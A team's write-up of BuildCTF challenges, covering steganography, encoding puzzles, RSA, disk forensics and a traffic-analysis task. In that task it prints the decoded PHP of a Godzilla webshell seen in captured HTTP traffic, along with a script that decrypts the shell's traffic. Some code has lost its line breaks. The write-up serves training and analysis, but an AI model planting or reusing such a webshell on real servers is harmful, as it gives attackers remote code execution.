BuildCTF线上赛WP
Build::CTF
flag不到啊战队--WP
萌新战队,还请多多指教~
目录
Build::CTF
flag不到啊战队--WP
Web
ez!http
find-the-id
Pwn
我要成为沙威玛传奇
Misc
what is this?
一念愚即般若绝,一念智即般若生
别真给我开盒了哥
四妹,你听我解释
如果再来一次,还会选择我吗?
白白的真好看
老色批
食不食油饼
四妹?还是萍萍呢?
EZ_ZIP
Guesscoin
HEX的秘密
我太喜欢亢金星君了!
有黑客!!!
Black&White
Misc
FindYourWindows
Crypto
OVO开门爽!开到南天门了兄弟
Web
ez!http





find-the-id


Pwn
我要成为沙威玛传奇

题目的附件,这里小白白根本看不懂,所以直接nc看一下是什么东西。
来吧,直接nc连接

根据人家提示可以看出,一口气吃100个沙威玛,就可能得到flag
1--购买 2--吃 3--查看 金钱 或 沙威玛 数量。 4--小偷--2种情况,1是被打,扣钱;2是金钱增加。 5--乞丐--2种情况,扣钱/加一个沙威玛
---这里小白不断乱试就ok
发现 加钱的概率 和 加沙威玛的概率都是 有的。
---这里加钱会好点,加一个沙威玛要好多次。
(不断按4)偷的米越来越多。

--》买 --》吃

最后发现:/bin/sh
OK ,执行命令,拿到flag

Misc
what is this?
考點:二進制轉換,摩斯密碼

data.txt :
0110001101100011011000110010110001110000011100000111000001110000011100000010110001100011011000110111000001110000011000110111000000101100011100000010110001100011011000110110001101100011001011000110001101110000011100000111000001110000001011000110001101100011011000110010110001100011011000110111000001110000011000110111000000101100011000110111000001110000011100000111000000101100011000110110001101100011011000110110001100101100011000110110001101110000011100000110001101110000001011000111000001110000001011000111000001110000011100000111000001110000001011000110001101110000011000110010110001100011011000110110001101100011011000110010110001100011001011000110001101100011011100000111000001100011011100000010110001110000011000110111000001100011001011000111000001110000011100000111000001110000001011000111000001100011011000110010110001100011001011000110001101100011011100000111000001100011011100000010110001110000011000110111000001100011011100000111000000101100011100000110001101110000011000110111000001110000
二进制转 :
CyberChef

ccc,ppppp,ccppcp,p,cccc,cpppp,ccc,ccppcp,cpppp,ccccc,ccppcp,pp,ppppp,cpc,ccccc,c,ccppcp,pcpc,ppppp,pcc,c,ccppcp,pcpcpp,pcpcpp
分析得到的数据,一眼摩斯密码。
c = . p = - , = 空格 在文本里全部替换。
... ----- ..--.- - .... .---- ... ..--.- .---- ..... ..--.- -- ----- .-. ..... . ..--.- -.-. ----- -.. . ..--.- -.-.-- -.-.--
解密--》

一念愚即般若绝,一念智即般若生
考點:解密


一个txt 一个加密的zip
txt:
就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿
直接随波逐流梭哈 --》阴阳怪气解密:

得到压缩包密码。
解压---》
佛曰:冥離是呐即俱耨薩那侄大姪訶怯多提勝涅冥咒孕大俱神闍侄老逝哆依真呐。罰呼帝冥耶梵大波得特輸至哆怖俱遠侄麼僧闍真栗恐三夷罰醯伊羯俱若夷皤槃得缽滅遠僧缽盡瑟寫俱舍梵夜心諳阿故哆上罰陀利罰得神侄帝呐無皤者俱曳哆耨怯夢伊道俱跋俱寫曳皤穆老顛離冥實奢怖多哆故悉怛隸呐阿諳一罰輸侄知侄者爍耨至怯尼諳呼俱槃諳夢缽集耨離缽。諳僧勝尼盡罰栗盧恐冥參多哆密苦怯栗即侄爍跋諳曳諳至俱提罰帝俱槃梵恐俱藝上蒙陀罰勝無菩數呐得俱所伽那醯侄藐藐侄以楞諳明奢姪南心皤倒侄夜遠故梵以楞皤世竟涅輸道奢倒冥穆罰得呐摩特沙瑟怯瑟皤怛皤槃缽呼俱耨諳朋南沙寫竟槃上缽故離波無悉缽漫孕羯侄瑟利知殿藐哆蘇道呐度知侄訶呐得諳婆明梵瑟舍缽謹奢竟俱數怯能怯羅究數哆夜帝羅
继续梭哈 --- 与x论禅 --》天书--》base


曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊

别真给我开盒了哥


得出信息: 北京 天津 S3901
智能走一走,(说实话付费用户和普通差很多)

单个试出。
四妹,你听我解释


一张 png 图片,点不开,因为字节出错啦。 一看就是宽高问题
那咱们直接爆破宽高:

得到正常的png:
。。。
不错,不错~
png是吧,放到010 ,加载模板, 发现 文件结尾后面还有字节, 直接复制粘贴到一个新建好的hex文件中,保存 --》 xxx.txt
拼接起来就是,再去随波梭哈即可。(核心价值观编码)
如果再来一次,还会选择我吗?


png 看不了,肯定有问题。 010 : 发现文件头,IHDR ,,,,文件尾, 字节的变化都有规律。 每4个字节一组,前两位与后两位直接换。
又要上脚本啦。。。(别看我)
def swap_every_four(hex_data):# 每4个字符为一组,前两位和后两位互换swapped_hex = ''.join([hex_data[i+2:i+4] + hex_data[i:i+2] for i in range(0, len(hex_data), 4)])return swapped_hexdef read_png_as_hex(file_path):with open(file_path, 'rb') as f:# 读取 PNG 文件的二进制数据png_data = f.read()# 将二进制数据转换为十六进制表示hex_data = png_data.hex()return hex_datadef save_swapped_hex_as_png(swapped_hex, output_path):# 将十六进制字符串转换回二进制数据swapped_binary = bytes.fromhex(swapped_hex)with open(output_path, 'wb') as f:f.write(swapped_binary)if __name__ == "__main__":input_png = '222.png' # 输入 PNG 文件路径output_png = 'outp222ut.png' # 输出 PNG 文件路径# 读取 PNG 文件的十六进制数据hex_data = read_png_as_hex(input_png)# 每4位字符(2字节)前后两两交换swapped_hex = swap_every_four(hex_data)# 保存互换后的数据为新的 PNG 文件save_swapped_hex_as_png(swapped_hex, output_png)print(f"Swapped PNG saved as {output_png}")
ok,又看到哥哥了。。。

得到key,解压zip

条形码!
在线阅读条形码 (aspose.app)

得到key
wo_bu_shi_xiao_hei_zi!!!
解压,得到一大串 base :


。。。这个长度看着都吓人,到底是base什么呢???
无限base64 , 直到解出为止。
CyberChef
白白的真好看


0000000.txt:

来了,零宽度:
Unicode Steganography with Zero-Width Characters (mzy0.com)

拿到第二段flag。
white.docx:
显示隐藏的文字即可


拿到第一段flag
snow.txt:
看文件名就很清晰了,snow隐写,需要个key,在哪,回复公众号,

snow解密:

得到第三段flag
-----共3段flag
老色批

一张png:

都提示这么明显了,LSB :

QnVpbGRD VEZ7MV9h bV9uMHRf TFNCISEh fQ==
base64 --- 》
CyberChef

食不食油饼



你这不是空格,制表符,等等,是什么??? 看了一顿也不知道,那就只能梭哈啦 。

---》文本盲水印,果然,真的盲。
base64:

解压zip :

这个jpg, hex , LSB , ,,,都看了,还没有思路。 想起前面的盲水印,再来个图片盲水印,问题应该不大吧。 (单图盲水印)

---果然 ,gg真油!
解压zip:
base32 --》

四妹?还是萍萍呢?


二维码拼接:
图片拼接-在线拼图-在线PS-在线图片编辑-图片合并-在线工具 (qtool.net)

ok ,得到 二维码:

---扫码发现是一个公众号,
公众号一般就是回复东西,回复什么呢,看了hex也没发现什么有用信息。
看 四妹.png
010 一开, png模板一加载,就发现有报错,

咱们直接定位到那里去看看怎么回事,
明显是个文件头缺失的zip,里面还一个 公众号回复password有惊喜.txt
--复制出来,添加文件头,得到zip

--公众号回复,得到 key:
St7wg.
解压得到其文件:

base走一波

---是png哎,导出,得到图片

010看,或根据经验,就是宽高有问题,导致图片失真了。
梭哈一下,得flag

EZ_ZIP


--解压后拿到一张jpg图片,(二維碼)

010发现zip文件头, 直接复制出来

另存为---》xxx.zip
脚本直接解压---》
import os
import zipfiledef unzip_all(zip_file_path, extract_dir):# 打开并解压 zip 文件with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:zip_ref.extractall(extract_dir)# 删除已解压的 zip 文件os.remove(zip_file_path)def find_zip_files(directory):# 遍历目录,找到所有 zip 文件zip_files = []for root, dirs, files in os.walk(directory):for file in files:if file.endswith('.zip'):zip_files.append(os.path.join(root, file))return zip_filesdef recursive_unzip(start_dir):while True:# 查找当前目录中的所有 zip 文件zip_files = find_zip_files(start_dir)if not zip_files:# 如果没有找到 zip 文件,则退出循环print("解压完成,没有更多的 ZIP 文件。")break# 对找到的每个 zip 文件进行解压for zip_file in zip_files:print(f"正在解压: {zip_file}")unzip_all(zip_file, os.path.dirname(zip_file))if __name__ == "__main__":# 设置要解压的起始目录start_directory = "C:\\Users\\Anonymous\\Desktop\\12"recursive_unzip(start_directory)

得到flaggggggg.zip


伪加密,直接改
解压--》得flag
Guesscoin


---经过反复调试,就全0就绕过了,

HEX的秘密

给:c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd
hex + xor (80 = } )

我太喜欢亢金星君了!

給了一個gif圖。閃的有規律。
就这么闪,思考了一会儿,就是 摩斯了,

男 = -
女 = .
白 = 空格
(我单个弄的...)
-... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.-

有黑客!!!
考點:流量分析,哥斯拉流量特征

12多万条数据
http.request.method=="POST"
通过过滤发现,hacker主要通过上传干的事情。

分析,

追踪流看看,就看这个吧,
POST /uploads/shell.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Cookie: PHPSESSID=e30bpdvj90mp4gcgo3ukjcoa3t; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Host: 192.168.155.22 Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 1413hacker=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&hhhhacker=LOk%2FNjEyMDhkNSj%2BeJf7%2B3gH5VBRUhj2NOUuZmUsfGZjsBh9HeAfF0virBj8q%2BMYHqr%2BeX0b5m%2FW%2B0pmZ1aAZACuehv4%2Bn%2FJL%2FkuVddg2HueKnpA%2F%2F39dah%2BYjCIqf6FYmI3Ng%3D%3DHTTP/1.1 200 OK Host: 192.168.155.22 Date: Tue, 08 Oct 2024 08:57:26 GMT Connection: close X-Powered-By: PHP/8.2.23 Set-Cookie: PHPSESSID=e30bpdvj90mp4gcgo3ukjcoa3t; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-type: text/html; charset=UTF-87ba0e8f6b3da4a83LOk/NjEyMDhkNkj+fav75hiqH9YzMocx4BtpMDVm1f2ed56a3adc98dc
解码:

ok,让我们看看原先的数据是什么呢? --原先的數據一定是php代碼。
K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD
import urllib.parse
import base64s = "K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD"s_urlen = urllib.parse.unquote(s)s_urlen_1 = s_urlen[::-1]s_urlen_1_b64 = base64.b64decode(s_urlen_1)print(s_urlen_1_b64)
b'\r\n@session_start();\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\nfunction encode($D,$K){\r\n for($i=0;$i<strlen($D);$i++) {\r\n $c = $K[$i+1&15];\r\n $D[$i] = $D[$i]^$c;\r\n }\r\n return $D;\r\n}\r\n$pass=\'hhhhacker\';\r\n$payloadName=\'payload\';\r\n$key=\'73b761208d5c05f2\';\r\nif (isset($_POST[$pass])){\r\n $data=encode(base64_decode($_POST[$pass]),$key);\r\n if (isset($_SESSION[$payloadName])){\r\n $payload=encode($_SESSION[$payloadName],$key);\r\n if (strpos($payload,"getBasicsInfo")===false){\r\n $payload=encode($payload,$key);\r\n }\r\n\t\teval($payload);\r\n echo substr(md5($pass.$key),0,16);\r\n echo base64_encode(encode(@run($data),$key));\r\n echo substr(md5($pass.$key),16);\r\n }else{\r\n if (strpos($data,"getBasicsInfo")!==false){\r\n $_SESSION[$payloadName]=encode($data,$key);\r\n }\r\n }\r\n}\r\n'
ok ,明显,是 哥斯拉的流量特征,
通过搜索,构造脚本 ,
<?php
$key1="7ba0e8f6b3da4a83LOk/NjEyMDhkNtCBGq4a12ErNDRqF5fqqKn31KfS2Mf/wOPUPfWS1Bz2gcgHsZD9S7WdbBQcSwNKNdj0kcACNzNi1f2ed56a3adc98dc";
//直接使用encode方法
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}$key='73b761208d5c05f2';
$str=substr($key1, 16);
echo $str;
echo PHP_EOL;
$str2=substr($str,0,-16);
echo $str2;
echo PHP_EOL;
$str3=gzdecode(encode(base64_decode($str2),$key));
//gzdecode(encode(base64_decode($key1),$key))
echo $str3;
?>
post 请求 提交, 找一下 key1
7ba0e8f6b3da4a83LOk/NjEyMDhkNtCBGq4a12ErNDRqF5fqqKn31KfS2Mf/wOPUPfWS1Bz2gcgHsZD9S7WdbBQcSwNKNdj0kcACNzNi1f2ed56a3adc98dc
运行poc得flag
Black&White

解压之后文件夹里是黑色和白色的 jpg 文件,猜想可能是二维

打开 Excel,批量把图片插入到单元格中 想凑成二维码正好 1089 是 33 的平方,所以设置成一行插入 33 张图片 然后输出单元格为图片

得出二维码进行扫描,发现扫描出 “3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2”
再用 Base45 解密,得出 BuildCTF{Tich1?pAnDa?_HahA_U_w1n}
Misc
FindYourWindows
考点:内存磁盘取证,数据恢复
提示:我的桌面好像有点不对劲了
下载题目解压之后:
啥文件类型也不知道啊。懵懵的,啥考点也不像,那就是是取证方向了。
给了一个文件还有一个key,那是什么呢?
搜索发现,其实是一个磁盘+key
用veraCrypt软件加载到磁盘,上面为磁盘位置和加载的密钥文件key
下面为磁盘文件--findyourwindows

加载好之后,用DiskGenius软件打开,查找即可(不行就右键恢复)

Crypto
OVO开门爽!开到南天门了兄弟

題目:
from Crypto.Util.number import *flag = b'BuildCTF{******}'#随机生成p,q
p = getPrime(1024)
q = getPrime(1024)#计算模数n
n = p*qe = 65537m = bytes_to_long(flag)#c=m^e%n
c = pow(m, e, n)print('P = ',p**2)
print('Q = ',q**2)
print('n = ',n)
print('e = ',e)
print('c = ',c)# P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481
# Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681
# n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581
# e = 65537
# c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560
脚本,
from Crypto.Util.number import *
from math import isqrt# 给定的 P, Q, n, e, c
P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481
Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681
n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581
e = 65537
c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560# 通过对 P 和 Q 开平方得到 p 和 q
p = isqrt(P)
q = isqrt(Q)# 计算欧拉函数 φ(n)
phi_n = (p - 1) * (q - 1)# 计算私钥 d
d = inverse(e, phi_n)# 解密密文 c
m = pow(c, d, n)# 将解密得到的长整型转换回字节并输出
flag = long_to_bytes(m)
print("Flag:", flag.decode())

相关文章:
BuildCTF线上赛WP
Build::CTF flag不到啊战队--WP 萌新战队,还请多多指教~ 目录 Build::CTF flag不到啊战队--WP Web ez!http find-the-id Pwn 我要成为沙威玛传奇 Misc what is this? 一念愚即般若绝,一念智即般若生 别真给我开盒了哥 四妹,你听…...
《使用Gin框架构建分布式应用》阅读笔记:p143-p207
《用Gin框架构建分布式应用》学习第10天,p143-p207总结,总计65页。 一、技术总结 1.auth0 本人实际工作中未遇到过,mark一下,参考:https://auth0.com/。 2.使用template (1)c.File() (2)router.Static() (3)rou…...
华为网络管理配置实例
目录 组网需求 数据规划 配置思路 操作步骤 结果验证 配置脚本 管理员可以通过eSight网管系统对FW进行监控和管理,接收FW的告警。 组网需求 如图1所示,某企业在网络边界处部署了FW作为安全网关,并部署了eSight网管系统对网络设备进行集中…...
大语言模型数据处理方法(基于llama模型)
文章目录 前言一、基于huggingface的DataCollatorForSeq2Seq方法解读1、DataCollatorForSeq2Seq方法2、batch最长序列填充3、指定长度填充二、构建大语言模型数据加工模块1、数据读取2、数据加工1、数据格式2、预训练(pretrain)数据加工3、微调(sft)数据加工①、sft数据加工…...
爱奇艺大数据多 AZ 统一调度架构
01# 导语 爱奇艺大数据技术广泛应用于运营决策、用户增长、广告分发、视频推荐、搜索、会员营销等场景,为公司的业务增长和用户体验提供了重要的数据驱动引擎。 多年来,随着公司业务的发展,爱奇艺大数据平台已积累了海量数据,这…...
【C++篇】栈的层叠与队列的流动:在 STL 的韵律中探寻数据结构的优雅之舞
文章目录 C 栈与队列详解:基础与进阶应用前言第一章:栈的介绍与使用1.1 栈的介绍1.2 栈的使用1.2.1 最小栈1.2.2 示例与输出 1.3 栈的模拟实现 第二章:队列的介绍与使用2.1 队列的介绍2.2 队列的使用2.2.1 示例与输出 2.3 队列的模拟实现2.3.…...
使用 Flask 实现简单的登录注册功能
目录 1. 引言 2. 环境准备 3. 数据库设置 4. Flask 应用基本配置 5. 实现用户注册 6. 实现用户登录 7. 路由配置 8. 创建前端页面 9. 结论 1. 引言 在这篇文章中,我们将使用 Flask 框架创建一个简单的登录和注册系统。Flask 是一个轻量级的 Python Web 框架…...
计算机毕业设计Python+大模型微博情感分析 微博舆情预测 微博爬虫 微博大数据 舆情分析系统 大数据毕业设计 NLP文本分类 机器学习 深度学习 AI
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 《Python大模型微博情感分析…...
CTF--Misc题型小结
(萌新笔记,多多关照,不足之处请及时提出。) 不定时更新~ 目录 密码学相关 文件类型判断 file命令 文件头类型 strings读取 隐写术 尺寸修改 文件头等缺失 EXIF隐写 thumbnail 隐写 文件分离&提取 binwalk foremo…...
深度学习系列——RNN/LSTM/GRU,seq2seq/attention机制
1、RNN/LSTM/GRU可参考: https://zhuanlan.zhihu.com/p/636756912 (1)对于这里面RNN的表示中,使用了输入x和h的拼接描述,其他公式中也是如此 (2)各符号图含义如下 2、关于RNN细节,…...
通过call指令来学习指令摘要表的细节
E8 cw cw 表示E8后面跟随2 字节 (什么数不知道) rel16 指在与指令同一代码段内的相对地址偏移 D ,指向Instruction Operand Encoding 表中的D列, 他告诉我们 操作数1 是一个0FFSET N.S. 在64位模式下,某些指令需要使用“地址覆盖前缀”(address over…...
